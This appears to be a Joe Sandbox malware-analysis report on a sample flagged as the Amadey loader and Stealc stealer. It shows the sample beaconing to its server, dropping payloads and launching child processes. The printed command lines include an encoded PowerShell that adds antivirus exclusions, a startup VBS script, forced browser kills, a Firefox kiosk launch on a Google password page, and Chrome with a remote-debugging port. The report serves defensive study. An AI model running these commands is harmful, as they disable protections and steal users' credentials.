2024-11-02 06:16:22 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 32 41 34 32 34 34 43 36 44 34 32 43 37 41 43 39 41 46 39 37 42 36 46 46 43 44 30 46 36 46 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B2A4244C6D42C7AC9AF97B6FFCD0F6FE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-02 06:16:22 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-11-02 06:16:23 UTC	1023	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tqmljbovl8tpca5pgfhqes04t1; expires=Wed, 26-Feb-2025 00:03:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lzp8dU9uxeKrYZsDrIl8oD9HGD%2F265jorlUqpXmIIuHRgxH%2BtMLHo2%2FxRDa1L5OcF0UZEdDOxv3otgIfM%2FnJwBF0pXUFYwhIqoM%2FthcW1i09I%2Fv8Bx0b5apXwWP4q5eyruTJHrc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dc1fed62b2a0b86-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1749&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19132&delivery_rate=1749848&cwnd=222&unsent_bytes=0&cid=f650a015adfdcd4f&ts=681&x=0"
2024-11-02 06:16:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-11-02 06:16:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:14:53
Start date:	02/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7a0000
File size:	1'894'400 bytes
MD5 hash:	1E33E63C356AC4032505C4A3F7157786
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1704119383.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1663903218.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:14:55
Start date:	02/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x4b0000
File size:	1'894'400 bytes
MD5 hash:	1E33E63C356AC4032505C4A3F7157786
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1734062990.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1693609127.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:14:56
Start date:	02/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x4b0000
File size:	1'894'400 bytes
MD5 hash:	1E33E63C356AC4032505C4A3F7157786
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1695582240.0000000005080000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1736142318.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:16:00
Start date:	02/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x4b0000
File size:	1'894'400 bytes
MD5 hash:	1E33E63C356AC4032505C4A3F7157786
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2335093980.0000000005150000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	02:16:09
Start date:	02/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe"
Imagebase:	0x970000
File size:	223'704 bytes
MD5 hash:	54F4EBCE5C56BF86C5948D89BA8C875F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000007.00000002.2705352741.0000000006C60000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000007.00000002.2640122155.0000000002CF5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000007.00000002.2671334911.0000000004473000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 18%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:16:12
Start date:	02/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADAAMwAzADMANAAwADAAMQBcAEYAdwBrAGQAcwB6AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAMAAwADMAMwAzADQAMAAwADEAXABGAHcAawBkAHMAegAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA=
Imagebase:	0x360000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:16:12
Start date:	02/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:16:14
Start date:	02/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	02:16:16
Start date:	02/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe"
Imagebase:	0x370000
File size:	2'964'480 bytes
MD5 hash:	53014E825FFABBC0AC8A0AB1AEC76EE7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:16:22
Start date:	02/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe"
Imagebase:	0x610000
File size:	2'143'744 bytes
MD5 hash:	90CD56BFD041977B953EC0D6AC7F665C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2940306745.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2922718430.0000000000611000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000003.2559813189.0000000005310000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:16:27
Start date:	02/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs"
Imagebase:	0x7ff64aac0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:16:29
Start date:	02/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe"
Imagebase:	0x50000
File size:	919'552 bytes
MD5 hash:	C1FA8AC639C1D531A4C7CF311C056AB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:16:29
Start date:	02/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xa00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:16:29
Start date:	02/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:16:31
Start date:	02/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x8c0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	02:16:31
Start date:	02/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xa00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:16:31
Start date:	02/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:16:32
Start date:	02/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xa00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:16:32
Start date:	02/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:16:32
Start date:	02/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 1144
Imagebase:	0x10000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:16:32
Start date:	02/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xa00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	02:16:32
Start date:	02/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:16:32
Start date:	02/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xa00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:16:32
Start date:	02/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	02:16:33
Start date:	02/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	02:16:33
Start date:	02/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	02:16:33
Start date:	02/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	02:16:34
Start date:	02/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	02:16:34
Start date:	02/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2264 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {81e41cdf-9cd7-4e6b-84b6-f40482f74e4a} 6864 "\\.\pipe\gecko-crash-server-pipe.6864" 253dc76dd10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	02:16:37
Start date:	02/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4036 -parentBuildID 20230927232528 -prefsHandle 4400 -prefMapHandle 3816 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {67daa889-b47a-41d1-9d91-f60d147d808b} 6864 "\\.\pipe\gecko-crash-server-pipe.6864" 253ee211110 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	02:16:37
Start date:	02/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	02:16:40
Start date:	02/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2252,i,12247254292580222694,14534572486204827192,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	02:16:40
Start date:	02/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe"
Imagebase:	0x670000
File size:	2'866'688 bytes
MD5 hash:	01DDF9CC770BC558B2FAFFA43B9B5B12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	02:16:50
Start date:	02/11/2024
Path:	C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe"
Imagebase:	0x100000
File size:	2'866'688 bytes
MD5 hash:	01DDF9CC770BC558B2FAFFA43B9B5B12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Function 05180DC1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705900370.0000000005180000.00000040.00001000.00020000.00000000.sdmp, Offset: 05180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 094b33372de0961f479c6d9772678e378df77acf24e57b6b789351816578c68b
Instruction ID: 20ae37409b9b8b80aa8864ac2121c15948d35e11f90a315fe2d04b1127997250
Opcode Fuzzy Hash: 094b33372de0961f479c6d9772678e378df77acf24e57b6b789351816578c68b
Instruction Fuzzy Hash: 91F027DB14C408BE5139F291465D2BBAA5FAB8E6307330426B04397102E7980ACE5D30

Function 05180DD1 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705900370.0000000005180000.00000040.00001000.00020000.00000000.sdmp, Offset: 05180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d169b302b52537cca41a8be8754c72b49e939c4786e939d24a8a08c7832b8f0c
Instruction ID: cab45ec45c1b1d14266ab6d4aa6274682bed085673baa88e1552deed984dc416
Opcode Fuzzy Hash: d169b302b52537cca41a8be8754c72b49e939c4786e939d24a8a08c7832b8f0c
Instruction Fuzzy Hash: 15F059D700C818AE8235B2A1069C2BB7B2FBB8E6317360426F0439B502E7990BCE4D21

Function 05180DB5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705900370.0000000005180000.00000040.00001000.00020000.00000000.sdmp, Offset: 05180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1379e4ed9f762537cd9b02190b96bc884e3d65672e04f5ea04cf0f2863b94ece
Instruction ID: a75f101bd0c30e302e84c7d2be70c134ff49e2481a79c237944ab4b8d843c475
Opcode Fuzzy Hash: 1379e4ed9f762537cd9b02190b96bc884e3d65672e04f5ea04cf0f2863b94ece
Instruction Fuzzy Hash: 43F050D704C50DFE5276F295868D6B77B6BBB4E630733052AB04397002E3940ACD9D71

Function 05180E0A Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705900370.0000000005180000.00000040.00001000.00020000.00000000.sdmp, Offset: 05180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37e7762dd139038db4e153b738e731af6e0586fea92a49b7a9530eb625fa0492
Instruction ID: 6058b0f5a08b91db700575cd2efa854f614f034a39666dacdb4d9daf0c8eeaff
Opcode Fuzzy Hash: 37e7762dd139038db4e153b738e731af6e0586fea92a49b7a9530eb625fa0492
Instruction Fuzzy Hash: DFE055CB18840CAEC03071A11A4C3B3632F6B9A7307720125B053A1482A3A402CE4D20

Non-executed Functions

